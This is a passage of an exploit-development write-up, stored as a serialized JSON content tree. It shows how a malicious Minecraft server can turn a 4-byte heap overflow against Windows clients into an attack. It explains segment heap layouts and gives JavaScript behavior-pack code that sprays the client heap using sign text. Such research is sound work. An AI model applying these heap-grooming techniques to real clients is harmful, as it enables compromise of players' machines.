example in ",{"type":23,"tag":940,"props":160136,"children":160139},{"href":160137,"rel":160138},"https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Windows-Heap-Backed-Pool-The-Good-The-Bad-And-The-Encoded.pdf",[944],[160140],{"type":29,"value":160141},"this talk",{"type":29,"value":160143}," by Yarden Shafir), so we'll just summarize the two subsegment types relevant to this writeup.",{"type":23,"tag":30116,"props":160145,"children":160147},{"id":160146},"low-fragmentation-heap",[160148],{"type":29,"value":160149},"Low Fragmentation Heap",{"type":23,"tag":32,"props":160151,"children":160152},{},[160153,160155,160161],{"type":29,"value":160154},"Low Fragmentation Heap (LFH) services allocations of ",{"type":23,"tag":71,"props":160156,"children":160158},{"className":160157},[],[160159],{"type":29,"value":160160},"0x3ff0",{"type":29,"value":160162}," bytes or less when LFH for that size is enabled. LFH for a given size becomes enabled after 17 consecutive allocations of that size.",{"type":23,"tag":32,"props":160164,"children":160165},{},[160166],{"type":29,"value":160167},"Most importantly for us, chunks allocated in this subsegment do not have per‑chunk headers, and data from two adjacent chunks in LFH is not separated by allocator metadata.",{"type":23,"tag":64,"props":160169,"children":160171},{"code":160170},"              +-------------------------+\nChunk A ----->| 41 41 41 41 41 41 41 41 |\n              |                         |\n              | 41 41 41 41 41 41 41 41 |\n              |                         |\n              | 41 41 41 41 41 41 41 41 |\n              |                         |\n              | 41 41 41 41 41 41 41 41 |\n              +-------------------------+\nChunk B ----->| 42 42 42 42 42 42 42 42 |\n              |                         |\n              | 42 42 42 42 42 42 42 42 |\n              |                         |\n              | 42 42 42 42 42 42 . . . |\n              |                         |\n",[160172],{"type":23,"tag":71,"props":160173,"children":160174},{"__ignoreMap":7},[160175],{"type":29,"value":160170},{"type":23,"tag":32,"props":160177,"children":160178},{},[160179],{"type":29,"value":160180},"This means that the 4‑byte OOB write could overwrite the first four bytes of the next chunk above, allowing us to target heap‑allocated internal structures in Minecraft instead of the allocator - the idea being that we could find a structure that has the first field either a reference count or a length field (for example) which we could directly corrupt with the overflow.",{"type":23,"tag":30116,"props":160182,"children":160184},{"id":160183},"variable-size",[160185],{"type":29,"value":160186},"Variable Size",{"type":23,"tag":32,"props":160188,"children":160189},{},[160190,160192,160198,160200,160206],{"type":29,"value":160191},"This subsegment is used for allocation sizes from ",{"type":23,"tag":71,"props":160193,"children":160195},{"className":160194},[],[160196],{"type":29,"value":160197},"0x4000",{"type":29,"value":160199}," and up to ",{"type":23,"tag":71,"props":160201,"children":160203},{"className":160202},[],[160204],{"type":29,"value":160205},"0x20_000",{"type":29,"value":160207},". Unlike LFH, the allocator will store chunk metadata in the headers of the allocated block.",{"type":23,"tag":64,"props":160209,"children":160211},{"code":160210},"                          +-------------------------+\n            Chunk A ----->|  HEAP_VS_CHUNK_HEADER   |\n                          +-------------------------+\nChunk A Data ------------>| 41 41 41 41 41 41 41 41 |\n                          |                         |\n                          | 41 41 41 41 41 41 41 41 |\n                          |                         |\n                          | 41 41 41 41 41 41 41 41 |\n                          +-------------------------+\n            Chunk B ----->|  HEAP_VS_CHUNK_HEADER   |\n                          +-------------------------+\nChunk B Data ------------>| 42 42 42 42 42 42 42 42 |\n                          |                         |\n                          | 42 42 42 42 42 42 42 42 |\n                          |                         |\n                          | 42 42 42 42 42 42 . . . |\n                          |                         |\n",[160212],{"type":23,"tag":71,"props":160213,"children":160214},{"__ignoreMap":7},[160215],{"type":29,"value":160210},{"type":23,"tag":32,"props":160217,"children":160218},{},[160219,160221,160227],{"type":29,"value":160220},"The header, ",{"type":23,"tag":71,"props":160222,"children":160224},{"className":160223},[],[160225],{"type":29,"value":160226},"HEAP_VS_CHUNK_HEADER",{"type":29,"value":160228},", contains information such as block size and allocation status. Crucially, this header is XORed with a secret heap key. That encoding means that, unless the heap key is leaked, faking a chunk header with an overflow is not deterministic.",{"type":23,"tag":30016,"props":160230,"children":160231},{},[],{"type":23,"tag":32,"props":160233,"children":160234},{},[160235],{"type":29,"value":160236},"At this point there were two paths to explore: use the 4‑byte overflow in LFH to target Minecraft structures, or use the overflow in VS to target the allocator.",{"type":23,"tag":32,"props":160238,"children":160239},{},[160240,160242,160249],{"type":29,"value":160241},"Targeting the allocator looked difficult because the VS chunk header is encoded. Fortunately, a ",{"type":23,"tag":940,"props":160243,"children":160246},{"href":160244,"rel":160245},"https://web.archive.org/web/20250117163016/https://labs.bluefrostsecurity.de/blog.html/2022/08/16/windows-segment-heap-attacking-the-vs-allocator/",[944],[160247],{"type":29,"value":160248},"technique published",{"type":29,"value":160250}," by Blue Frost Security describes how to abuse a 3–4 byte overflow in the VS heap to reliably produce overlapping chunks.",{"type":23,"tag":32,"props":160252,"children":160253},{},[160254],{"type":29,"value":160255},"To target Minecraft structures in LFH, we needed to find a heap‑allocated object whose first field could be forged with four bytes (or less) - candidates included a reference counter or a length field. Overwriting such a field could yield a useful primitive (e.g., a use‑after‑free from a corrupted refcount, or a larger overflow / OOB read by corrupting a length field).",{"type":23,"tag":32,"props":160257,"children":160258},{},[160259],{"type":29,"value":160260},"In either case, we needed a way to spray the heap before we could proceed.",{"type":23,"tag":923,"props":160262,"children":160264},{"id":160263},"finding-a-way-to-spray-the-heap",[160265],{"type":29,"value":160266},"Finding a Way to Spray the Heap",{"type":23,"tag":32,"props":160268,"children":160269},{},[160270],{"type":29,"value":160271},"We needed to find an object that the client allocates in response to a server-controlled action. Ideally, the server would be able to control:",{"type":23,"tag":27910,"props":160273,"children":160274},{},[160275,160280,160285,160290],{"type":23,"tag":2801,"props":160276,"children":160277},{},[160278],{"type":29,"value":160279},"The size of the allocation",{"type":23,"tag":2801,"props":160281,"children":160282},{},[160283],{"type":29,"value":160284},"The data written into the allocated buffer",{"type":23,"tag":2801,"props":160286,"children":160287},{},[160288],{"type":29,"value":160289},"The allocation’s lifetime (i.e., allocated and freed through different server actions)",{"type":23,"tag":2801,"props":160291,"children":160292},{},[160293],{"type":29,"value":160294},"The number of created objects (preferably unbounded)",{"type":23,"tag":32,"props":160296,"children":160297},{},[160298],{"type":29,"value":160299},"Not all of these conditions are strictly required, but an object satisfying all of them would be perfect for heap spraying. Eventually, we found exactly what we were looking for.",{"type":23,"tag":30116,"props":160301,"children":160303},{"id":160302},"minecraft-signs",[160304],{"type":29,"value":160305},"Minecraft Signs",{"type":23,"tag":32,"props":160307,"children":160308},{},[160309],{"type":29,"value":160310},"A sign is a block in Minecraft that can display arbitrary text. There is effectively no limit to how many signs can exist in a world (aside from resource constraints), and their lifetime is fully controllable: creating a sign results in an allocation, and removing it frees the associated memory.",{"type":23,"tag":32,"props":160312,"children":160313},{},[160314,160316,160322],{"type":29,"value":160315},"What we were specifically interested in was how the client stores the text displayed on a sign. After reversing the client, we found that the text is stored in a ",{"type":23,"tag":71,"props":160317,"children":160319},{"className":160318},[],[160320],{"type":29,"value":160321},"std::string",{"type":29,"value":557},{"type":23,"tag":32,"props":160324,"children":160325},{},[160326,160328,160333],{"type":29,"value":160327},"In Microsoft’s C++ implementation, ",{"type":23,"tag":71,"props":160329,"children":160331},{"className":160330},[],[160332],{"type":29,"value":160321},{"type":29,"value":160334}," is structured roughly as follows:",{"type":23,"tag":64,"props":160336,"children":160338},{"code":160337,"language":14432,"meta":7,"className":27738,"style":7},"struct string\n{\n    union {\n        char* ptr;\n        char buf[16];\n    };\n    size_t size;\n    size_t capacity;\n};\n",[160339],{"type":23,"tag":71,"props":160340,"children":160341},{"__ignoreMap":7},[160342,160353,160360,160372,160388,160412,160419,160430,160442],{"type":23,"tag":75,"props":160343,"children":160344},{"class":77,"line":78},[160345,160349],{"type":23,"tag":75,"props":160346,"children":160347},{"style":82},[160348],{"type":29,"value":20652},{"type":23,"tag":75,"props":160350,"children":160351},{"style":94},[160352],{"type":29,"value":9432},{"type":23,"tag":75,"props":160354,"children":160355},{"class":77,"line":100},[160356],{"type":23,"tag":75,"props":160357,"children":160358},{"style":94},[160359],{"type":29,"value":2549},{"type":23,"tag":75,"props":160361,"children":160362},{"class":77,"line":121},[160363,160368],{"type":23,"tag":75,"props":160364,"children":160365},{"style":82},[160366],{"type":29,"value":160367},"    union",{"type":23,"tag":75,"props":160369,"children":160370},{"style":94},[160371],{"type":29,"value":401},{"type":23,"tag":75,"props":160373,"children":160374},{"class":77,"line":138},[160375,160380,160384],{"type":23,"tag":75,"props":160376,"children":160377},{"style":82},[160378],{"type":29,"value":160379},"        char",{"type":23,"tag":75,"props":160381,"children":160382},{"style":209},[160383],{"type":29,"value":601},{"type":23,"tag":75,"props":160385,"children":160386},{"style":94},[160387],{"type":29,"value":27780},{"type":23,"tag":75,"props":160389,"children":160390},{"class":77,"line":161},[160391,160395,160400,160404,160408],{"type":23,"tag":75,"props":160392,"children":160393},{"style":82},[160394],{"type":29,"value":160379},{"type":23,"tag":75,"props":160396,"children":160397},{"style":110},[160398],{"type":29,"value":160399}," buf",{"type":23,"tag":75,"props":160401,"children":160402},{"style":94},[160403],{"type":29,"value":814},{"type":23,"tag":75,"props":160405,"children":160406},{"style":237},[160407],{"type":29,"value":52037},{"type":23,"tag":75,"props":160409,"children":160410},{"style":94},[160411],{"type":29,"value":42769},{"type":23,"tag":75,"props":160413,"children":160414},{"class":77,"line":196},[160415],{"type":23,"tag":75,"props":160416,"children":160417},{"style":94},[160418],{"type":29,"value":50188},{"type":23,"tag":75,"props":160420,"children":160421},{"class":77,"line":220},[160422,160426],{"type":23,"tag":75,"props":160423,"children":160424},{"style":82},[160425],{"type":29,"value":27788},{"type":23,"tag":75,"props":160427,"children":160428},{"style":94},[160429],{"type":29,"value":134937},{"type":23,"tag":75,"props":160431,"children":160432},{"class":77,"line":248},[160433,160437],{"type":23,"tag":75,"props":160434,"children":160435},{"style":82},[160436],{"type":29,"value":27788},{"type":23,"tag":75,"props":160438,"children":160439},{"style":94},[160440],{"type":29,"value":160441}," capacity;\n",{"type":23,"tag":75,"props":160443,"children":160444},{"class":77,"line":270},[160445],{"type":23,"tag":75,"props":160446,"children":160447},{"style":94},[160448],{"type":29,"value":27801},{"type":23,"tag":32,"props":160450,"children":160451},{},[160452,160454,160460,160462,160467],{"type":29,"value":160453},"We are primarily interested in the union: ",{"type":23,"tag":71,"props":160455,"children":160457},{"className":160456},[],[160458],{"type":29,"value":160459},"buf",{"type":29,"value":160461}," is used when the string fits within 16 bytes, while ",{"type":23,"tag":71,"props":160463,"children":160465},{"className":160464},[],[160466],{"type":29,"value":25190},{"type":29,"value":160468}," points to a heap-allocated buffer if the string exceeds that size. The allocated buffer contains only the string’s raw bytes.",{"type":23,"tag":32,"props":160470,"children":160471},{},[160472],{"type":29,"value":160473},"This means that for each sign whose text is longer than 16 bytes, the client allocates a heap buffer equal to the string length.",{"type":23,"tag":32,"props":160475,"children":160476},{},[160477],{"type":29,"value":160478},"This makes signs perfect for our needs - we can fully control the allocation size, lifetime, and contents of the heap buffer.",{"type":23,"tag":30116,"props":160480,"children":160482},{"id":160481},"spraying-with-server-side-scripting",[160483],{"type":29,"value":160484},"Spraying With Server-Side Scripting",{"type":23,"tag":32,"props":160486,"children":160487},{},[160488],{"type":29,"value":160489},"The simplest way to automatically manipulate the world is through server-side behavior packs. These packs are written in JavaScript and can control many aspects of the server.",{"type":23,"tag":32,"props":160491,"children":160492},{},[160493,160495,160501,160502,160508],{"type":29,"value":160494},"We wrote ",{"type":23,"tag":71,"props":160496,"children":160498},{"className":160497},[],[160499],{"type":29,"value":160500},"alloc",{"type":29,"value":2721},{"type":23,"tag":71,"props":160503,"children":160505},{"className":160504},[],[160506],{"type":29,"value":160507},"free",{"type":29,"value":160509}," helpers that trigger an allocation in the client and free it on demand:",{"type":23,"tag":64,"props":160511,"children":160513},{"code":160512,"language":46810,"meta":7,"className":46808,"style":7},"// Allocate sign text in the client\nfunction alloc(size, fill=\"A\") {\n    for (let sign of signs) {\n        if (sign.allocated || sign.removed) {\n            continue;\n        }\n\n        sign.sign.setText(fill.repeat(size - 1));\n        sign.allocated = true;\n        return sign;\n    }\n\n    console.warn(\"No more allocs\");\n    return undefined;\n}\n\n// Free an allocated sign in the client\nfunction free(sign) {\n    if (sign == undefined || sign.allocated == false) {\n        return;\n    }\n\n    sign.sign.setText(\"\");\n    sign.allocated = false;\n\n    sign.block.setPermutation(\n        BlockPermutation.resolve(\"minecraft:air\")\n    );\n    sign.removed = true;\n}\n",[160514],{"type":23,"tag":71,"props":160515,"children":160516},{"__ignoreMap":7},[160517,160525,160567,160600,160645,160657,160664,160671,160732,160759,160774,160781,160788,160817,160832,160839,160846,160854,160878,160929,160940,160947,160954,160991,161018,161025,161054,161084,161091,161118],{"type":23,"tag":75,"props":160518,"children":160519},{"class":77,"line":78},[160520],{"type":23,"tag":75,"props":160521,"children":160522},{"style":3621},[160523],{"type":29,"value":160524},"// Allocate sign text in the client\n",{"type":23,"tag":75,"props":160526,"children":160527},{"class":77,"line":100},[160528,160532,160537,160541,160545,160549,160554,160558,160563],{"type":23,"tag":75,"props":160529,"children":160530},{"style":82},[160531],{"type":29,"value":85},{"type":23,"tag":75,"props":160533,"children":160534},{"style":88},[160535],{"type":29,"value":160536}," alloc",{"type":23,"tag":75,"props":160538,"children":160539},{"style":94},[160540],{"type":29,"value":643},{"type":23,"tag":75,"props":160542,"children":160543},{"style":110},[160544],{"type":29,"value":134595},{"type":23,"tag":75,"props":160546,"children":160547},{"style":94},[160548],{"type":29,"value":611},{"type":23,"tag":75,"props":160550,"children":160551},{"style":110},[160552],{"type":29,"value":160553},"fill",{"type":23,"tag":75,"props":160555,"children":160556},{"style":209},[160557],{"type":29,"value":212},{"type":23,"tag":75,"props":160559,"children":160560},{"style":1266},[160561],{"type":29,"value":160562},"\"A\"",{"type":23,"tag":75,"props":160564,"children":160565},{"style":94},[160566],{"type":29,"value":193},{"type":23,"tag":75,"props":160568,"children":160569},{"class":77,"line":121},[160570,160574,160578,160582,160587,160591,160596],{"type":23,"tag":75,"props":160571,"children":160572},{"style":175},[160573],{"type":29,"value":711},{"type":23,"tag":75,"props":160575,"children":160576},{"style":94},[160577],{"type":29,"value":183},{"type":23,"tag":75,"props":160579,"children":160580},{"style":82},[160581],{"type":29,"value":23033},{"type":23,"tag":75,"props":160583,"children":160584},{"style":110},[160585],{"type":29,"value":160586}," sign",{"type":23,"tag":75,"props":160588,"children":160589},{"style":82},[160590],{"type":29,"value":21611},{"type":23,"tag":75,"props":160592,"children":160593},{"style":110},[160594],{"type":29,"value":160595}," signs",{"type":23,"tag":75,"props":160597,"children":160598},{"style":94},[160599],{"type":29,"value":193},{"type":23,"tag":75,"props":160601,"children":160602},{"class":77,"line":138},[160603,160607,160611,160616,160620,160625,160629,160633,160637,160641],{"type":23,"tag":75,"props":160604,"children":160605},{"style":175},[160606],{"type":29,"value":2445},{"type":23,"tag":75,"props":160608,"children":160609},{"style":94},[160610],{"type":29,"value":183},{"type":23,"tag":75,"props":160612,"children":160613},{"style":110},[160614],{"type":29,"value":160615},"sign",{"type":23,"tag":75,"props":160617,"children":160618},{"style":94},[160619],{"type":29,"value":557},{"type":23,"tag":75,"props":160621,"children":160622},{"style":110},[160623],{"type":29,"value":160624},"allocated",{"type":23,"tag":75,"props":160626,"children":160627},{"style":209},[160628],{"type":29,"value":34913},{"type":23,"tag":75,"props":160630,"children":160631},{"style":110},[160632],{"type":29,"value":160586},{"type":23,"tag":75,"props":160634,"children":160635},{"style":94},[160636],{"type":29,"value":557},{"type":23,"tag":75,"props":160638,"children":160639},{"style":110},[160640],{"type":29,"value":143300},{"type":23,"tag":75,"props":160642,"children":160643},{"style":94},[160644],{"type":29,"value":193},{"type":23,"tag":75,"props":160646,"children":160647},{"class":77,"line":161},[160648,160653],{"type":23,"tag":75,"props":160649,"children":160650},{"style":175},[160651],{"type":29,"value":160652},"            continue",{"type":23,"tag":75,"props":160654,"children":160655},{"style":94},[160656],{"type":29,"value":245},{"type":23,"tag":75,"props":160658,"children":160659},{"class":77,"line":196},[160660],{"type":23,"tag":75,"props":160661,"children":160662},{"style":94},[160663],{"type":29,"value":2503},{"type":23,"tag":75,"props":160665,"children":160666},{"class":77,"line":220},[160667],{"type":23,"tag":75,"props":160668,"children":160669},{"emptyLinePlaceholder":15},[160670],{"type":29,"value":276},{"type":23,"tag":75,"props":160672,"children":160673},{"class":77,"line":248},[160674,160679,160683,160687,160691,160696,160700,160704,160708,160712,160716,160720,160724,160728],{"type":23,"tag":75,"props":160675,"children":160676},{"style":110},[160677],{"type":29,"value":160678},"        sign",{"type":23,"tag":75,"props":160680,"children":160681},{"style":94},[160682],{"type":29,"value":557},{"type":23,"tag":75,"props":160684,"children":160685},{"style":110},[160686],{"type":29,"value":160615},{"type":23,"tag":75,"props":160688,"children":160689},{"style":94},[160690],{"type":29,"value":557},{"type":23,"tag":75,"props":160692,"children":160693},{"style":88},[160694],{"type":29,"value":160695},"setText",{"type":23,"tag":75,"props":160697,"children":160698},{"style":94},[160699],{"type":29,"value":643},{"type":23,"tag":75,"props":160701,"children":160702},{"style":110},[160703],{"type":29,"value":160553},{"type":23,"tag":75,"props":160705,"children":160706},{"style":94},[160707],{"type":29,"value":557},{"type":23,"tag":75,"props":160709,"children":160710},{"style":88},[160711],{"type":29,"value":143550},{"type":23,"tag":75,"props":160713,"children":160714},{"style":94},[160715],{"type":29,"value":643},{"type":23,"tag":75,"props":160717,"children":160718},{"style":110},[160719],{"type":29,"value":134595},{"type":23,"tag":75,"props":160721,"children":160722},{"style":209},[160723],{"type":29,"value":62440},{"type":23,"tag":75,"props":160725,"children":160726},{"style":237},[160727],{"type":29,"value":15795},{"type":23,"tag":75,"props":160729,"children":160730},{"style":94},[160731],{"type":29,"value":18485},{"type":23,"tag":75,"props":160733,"children":160734},{"class":77,"line":270},[160735,160739,160743,160747,160751,160755],{"type":23,"tag":75,"props":160736,"children":160737},{"style":110},[160738],{"type":29,"value":160678},{"type":23,"tag":75,"props":160740,"children":160741},{"style":94},[160742],{"type":29,"value":557},{"type":23,"tag":75,"props":160744,"children":160745},{"style":110},[160746],{"type":29,"value":160624},{"type":23,"tag":75,"props":160748,"children":160749},{"style":209},[160750],{"type":29,"value":1193},{"type":23,"tag":75,"props":160752,"children":160753},{"style":82},[160754],{"type":29,"value":23713},{"type":23,"tag":75,"props":160756,"children":160757},{"style":94},[160758],{"type":29,"value":245},{"type":23,"tag":75,"props":160760,"children":160761},{"class":77,"line":279},[160762,160766,160770],{"type":23,"tag":75,"props":160763,"children":160764},{"style":175},[160765],{"type":29,"value":1388},{"type":23,"tag":75,"props":160767,"children":160768},{"style":110},[160769],{"type":29,"value":160586},{"type":23,"tag":75,"props":160771,"children":160772},{"style":94},[160773],{"type":29,"value":245},{"type":23,"tag":75,"props":160775,"children":160776},{"class":77,"line":303},[160777],{"type":23,"tag":75,"props":160778,"children":160779},{"style":94},[160780],{"type":29,"value":346},{"type":23,"tag":75,"props":160782,"children":160783},{"class":77,"line":322},[160784],{"type":23,"tag":75,"props":160785,"children":160786},{"emptyLinePlaceholder":15},[160787],{"type":29,"value":276},{"type":23,"tag":75,"props":160789,"children":160790},{"class":77,"line":340},[160791,160795,160799,160804,160808,160813],{"type":23,"tag":75,"props":160792,"children":160793},{"style":110},[160794],{"type":29,"value":42634},{"type":23,"tag":75,"props":160796,"children":160797},{"style":94},[160798],{"type":29,"value":557},{"type":23,"tag":75,"props":160800,"children":160801},{"style":88},[160802],{"type":29,"value":160803},"warn",{"type":23,"tag":75,"props":160805,"children":160806},{"style":94},[160807],{"type":29,"value":643},{"type":23,"tag":75,"props":160809,"children":160810},{"style":1266},[160811],{"type":29,"value":160812},"\"No more allocs\"",{"type":23,"tag":75,"props":160814,"children":160815},{"style":94},[160816],{"type":29,"value":15099},{"type":23,"tag":75,"props":160818,"children":160819},{"class":77,"line":349},[160820,160824,160828],{"type":23,"tag":75,"props":160821,"children":160822},{"style":175},[160823],{"type":29,"value":355},{"type":23,"tag":75,"props":160825,"children":160826},{"style":82},[160827],{"type":29,"value":50527},{"type":23,"tag":75,"props":160829,"children":160830},{"style":94},[160831],{"type":29,"value":245},{"type":23,"tag":75,"props":160833,"children":160834},{"class":77,"line":363},[160835],{"type":23,"tag":75,"props":160836,"children":160837},{"style":94},[160838],{"type":29,"value":369},{"type":23,"tag":75,"props":160840,"children":160841},{"class":77,"line":656},[160842],{"type":23,"tag":75,"props":160843,"children":160844},{"emptyLinePlaceholder":15},[160845],{"type":29,"value":276},{"type":23,"tag":75,"props":160847,"children":160848},{"class":77,"line":705},[160849],{"type":23,"tag":75,"props":160850,"children":160851},{"style":3621},[160852],{"type":29,"value":160853},"// Free an allocated sign in the client\n",{"type":23,"tag":75,"props":160855,"children":160856},{"class":77,"line":787},[160857,160861,160866,160870,160874],{"type":23,"tag":75,"props":160858,"children":160859},{"style":82},[160860],{"type":29,"value":85},{"type":23,"tag":75,"props":160862,"children":160863},{"style":88},[160864],{"type":29,"value":160865}," free",{"type":23,"tag":75,"props":160867,"children":160868},{"style":94},[160869],{"type":29,"value":643},{"type":23,"tag":75,"props":160871,"children":160872},{"style":110},[160873],{"type":29,"value":160615},{"type":23,"tag":75,"props":160875,"children":160876},{"style":94},[160877],{"type":29,"value":193},{"type":23,"tag":75,"props":160879,"children":160880},{"class":77,"line":826},[160881,160885,160889,160893,160897,160901,160905,160909,160913,160917,160921,160925],{"type":23,"tag":75,"props":160882,"children":160883},{"style":175},[160884],{"type":29,"value":1363},{"type":23,"tag":75,"props":160886,"children":160887},{"style":94},[160888],{"type":29,"value":183},{"type":23,"tag":75,"props":160890,"children":160891},{"style":110},[160892],{"type":29,"value":160615},{"type":23,"tag":75,"props":160894,"children":160895},{"style":209},[160896],{"type":29,"value":1372},{"type":23,"tag":75,"props":160898,"children":160899},{"style":82},[160900],{"type":29,"value":50527},{"type":23,"tag":75,"props":160902,"children":160903},{"style":209},[160904],{"type":29,"value":34913},{"type":23,"tag":75,"props":160906,"children":160907},{"style":110},[160908],{"type":29,"value":160586},{"type":23,"tag":75,"props":160910,"children":160911},{"style":94},[160912],{"type":29,"value":557},{"type":23,"tag":75,"props":160914,"children":160915},{"style":110},[160916],{"type":29,"value":160624},{"type":23,"tag":75,"props":160918,"children":160919},{"style":209},[160920],{"type":29,"value":1372},{"type":23,"tag":75,"props":160922,"children":160923},{"style":82},[160924],{"type":29,"value":20313},{"type":23,"tag":75,"props":160926,"children":160927},{"style":94},[160928],{"type":29,"value":193},{"type":23,"tag":75,"props":160930,"children":160931},{"class":77,"line":834},[160932,160936],{"type":23,"tag":75,"props":160933,"children":160934},{"style":175},[160935],{"type":29,"value":1388},{"type":23,"tag":75,"props":160937,"children":160938},{"style":94},[160939],{"type":29,"value":245},{"type":23,"tag":75,"props":160941,"children":160942},{"class":77,"line":881},[160943],{"type":23,"tag":75,"props":160944,"children":160945},{"style":94},[160946],{"type":29,"value":346},{"type":23,"tag":75,"props":160948,"children":160949},{"class":77,"line":3355},[160950],{"type":23,"tag":75,"props":160951,"children":160952},{"emptyLinePlaceholder":15},[160953],{"type":29,"value":276},{"type":23,"tag":75,"props":160955,"children":160956},{"class":77,"line":3390},[160957,160962,160966,160970,160974,160978,160982,160987],{"type":23,"tag":75,"props":160958,"children":160959},{"style":110},[160960],{"type":29,"value":160961},"    sign",{"type":23,"tag":75,"props":160963,"children":160964},{"style":94},[160965],{"type":29,"value":557},{"type":23,"tag":75,"props":160967,"children":160968},{"style":110},[160969],{"type":29,"value":160615},{"type":23,"tag":75,"props":160971,"children":160972},{"style":94},[160973],{"type":29,"value":557},{"type":23,"tag":75,"props":160975,"children":160976},{"style":88},[160977],{"type":29,"value":160695},{"type":23,"tag":75,"props":160979,"children":160980},{"style":94},[160981],{"type":29,"value":643},{"type":23,"tag":75,"props":160983,"children":160984},{"style":1266},[160985],{"type":29,"value":160986},"\"\"",{"type":23,"tag":75,"props":160988,"children":160989},{"style":94},[160990],{"type":29,"value":15099},{"type":23,"tag":75,"props":160992,"children":160993},{"class":77,"line":3423},[160994,160998,161002,161006,161010,161014],{"type":23,"tag":75,"props":160995,"children":160996},{"style":110},[160997],{"type":29,"value":160961},{"type":23,"tag":75,"props":160999,"children":161000},{"style":94},[161001],{"type":29,"value":557},{"type":23,"tag":75,"props":161003,"children":161004},{"style":110},[161005],{"type":29,"value":160624},{"type":23,"tag":75,"props":161007,"children":161008},{"style":209},[161009],{"type":29,"value":1193},{"type":23,"tag":75,"props":161011,"children":161012},{"style":82},[161013],{"type":29,"value":20313},{"type":23,"tag":75,"props":161015,"children":161016},{"style":94},[161017],{"type":29,"value":245},{"type":23,"tag":75,"props":161019,"children":161020},{"class":77,"line":3436},[161021],{"type":23,"tag":75,"props":161022,"children":161023},{"emptyLinePlaceholder":15},[161024],{"type":29,"value":276},{"type":23,"tag":75,"props":161026,"children":161027},{"class":77,"line":3449},[161028,161032,161036,161041,161045,161050],{"type":23,"tag":75,"props":161029,"children":161030},{"style":110},[161031],{"type":29,"value":160961},{"type":23,"tag":75,"props":161033,"children":161034},{"style":94},[161035],{"type":29,"value":557},{"type":23,"tag":75,"props":161037,"children":161038},{"style":110},[161039],{"type":29,"value":161040},"block",{"type":23,"tag":75,"props":161042,"children":161043},{"style":94},[161044],{"type":29,"value":557},{"type":23,"tag":75,"props":161046,"children":161047},{"style":88},[161048],{"type":29,"value":161049},"setPermutation",{"type":23,"tag":75,"props":161051,"children":161052},{"style":94},[161053],{"type":29,"value":97},{"type":23,"tag":75,"props":161055,"children":161056},{"class":77,"line":3457},[161057,161062,161066,161071,161075,161080],{"type":23,"tag":75,"props":161058,"children":161059},{"style":110},[161060],{"type":29,"value":161061},"        BlockPermutation",{"type":23,"tag":75,"props":161063,"children":161064},{"style":94},[161065],{"type":29,"value":557},{"type":23,"tag":75,"props":161067,"children":161068},{"style":88},[161069],{"type":29,"value":161070},"resolve",{"type":23,"tag":75,"props":161072,"children":161073},{"style":94},[161074],{"type":29,"value":643},{"type":23,"tag":75,"props":161076,"children":161077},{"style":1266},[161078],{"type":29,"value":161079},"\"minecraft:air\"",{"type":23,"tag":75,"props":161081,"children":161082},{"style":94},[161083],{"type":29,"value":653},{"type":23,"tag":75,"props":161085,"children":161086},{"class":77,"line":3465},[161087],{"type":23,"tag":75,"props":161088,"children":161089},{"style":94},[161090],{"type":29,"value":54846},{"type":23,"tag":75,"props":161092,"children":161093},{"class":77,"line":3473},[161094,161098,161102,161106,161110,161114],{"type":23,"tag":75,"props":161095,"children":161096},{"style":110},[161097],{"type":29,"value":160961},{"type":23,"tag":75,"props":161099,"children":161100},{"style":94},[161101],{"type":29,"value":557},{"type":23,"tag":75,"props":161103,"children":161104},{"style":110},[161105],{"type":29,"value":143300},{"type":23,"tag":75,"props":161107,"children":161108},{"style":209},[161109],{"type":29,"value":1193},{"type":23,"tag":75,"props":161111,"children":161112},{"style":82},[161113],{"type":29,"value":23713},{"type":23,"tag":75,"props":161115,"children":161116},{"style":94},[161117],{"type":29,"value":245},{"type":23,"tag":75,"props":161119,"children":161120},{"class":77,"line":3481},[161121],{"type":23,"tag":75,"props":161122,"children":161123},{"style":94},[161124],{"type":29,"value":369},{"type":23,"tag":32,"props":161126,"children":161127},{},[161128,161130,161136],{"type":29,"value":161129},"These functions will be used to perform the heap spray. Before that, we need to populate the ",{"type":23,"tag":71,"props":161131,"children":161133},{"className":161132},[],[161134],{"type":29,"value":161135},"signs",{"type":29,"value":161137}," array. For this, we generate a wall of signs when a player joins, and remove it after they leave:",{"type":23,"tag":64,"props":161139,"children":161141},{"code":161140,"language":46810,"meta":7,"className":46808,"style":7},"let signs;\n\nfunction create_wall() {\n    signs = [];\n\n    for (let current_y = 0; current_y \u003C WALL_HEIGHT; current_y++) {\n        for (let current_x = 0; current_x \u003C WALL_WIDTH; current_x++) {\n\n            [...]\n            \n            const sign_block = world\n                .getDimension(\"overworld\")\n                .getBlock(sign_location);\n            sign_block.setPermutation(\n                BlockPermutation.resolve(\"minecraft:wall_sign\", {\n                    facing_direction: 3\n                }\n            ));\n            let sign_component = sign_block\n                .getComponent(BlockComponentTypes.Sign);\n\n            signs.push({\n                sign: sign_component,\n                allocated: false,\n                block: sign_block,\n                removed: false\n            });\n        }\n    }\n}\n\nfunction remove_wall() {\n    signs = [];\n    \n    for (let current_y = 0; current_y \u003C WALL_HEIGHT; current_y++) {\n        for (let current_x = 0; current_x \u003C WALL_WIDTH; current_x++) {\n            \n            [...]\n             \n            const sign_block = await wait_for_block(\n                world.getDimension(\"overworld\"),\n                sign_location\n            );\n            sign_block.setPermutation(\n                BlockPermutation.resolve(\"minecraft:air\")\n            );\n\n            [...]\n        }\n    }\n}\n\nworld.afterEvents.playerSpawn.subscribe((arg) => {\n    create_wall();\n});\n\nworld.beforeEvents.playerLeave.subscribe(async (arg) => {\n    remove_wall();\n});\n",[161142],{"type":23,"tag":71,"props":161143,"children":161144},{"__ignoreMap":7},[161145,161160,161167,161183,161200,161207,161269,161331,161338,161354,161362,161384,161410,161435,161455,161484,161496,161503,161511,161533,161567,161574,161594,161610,161626,161642,161654,161662,161669,161676,161683,161690,161706,161721,161728,161787,161846,161853,161868,161876,161904,161932,161940,161947,161966,161993,162000,162007,162022,162029,162036,162043,162050,162106,162118,162125,162132,162193,162205],{"type":23,"tag":75,"props":161146,"children":161147},{"class":77,"line":78},[161148,161152,161156],{"type":23,"tag":75,"props":161149,"children":161150},{"style":82},[161151],{"type":29,"value":23033},{"type":23,"tag":75,"props":161153,"children":161154},{"style":110},[161155],{"type":29,"value":160595},{"type":23,"tag":75,"props":161157,"children":161158},{"style":94},[161159],{"type":29,"value":245},{"type":23,"tag":75,"props":161161,"children":161162},{"class":77,"line":100},[161163],{"type":23,"tag":75,"props":161164,"children":161165},{"emptyLinePlaceholder":15},[161166],{"type":29,"value":276},{"type":23,"t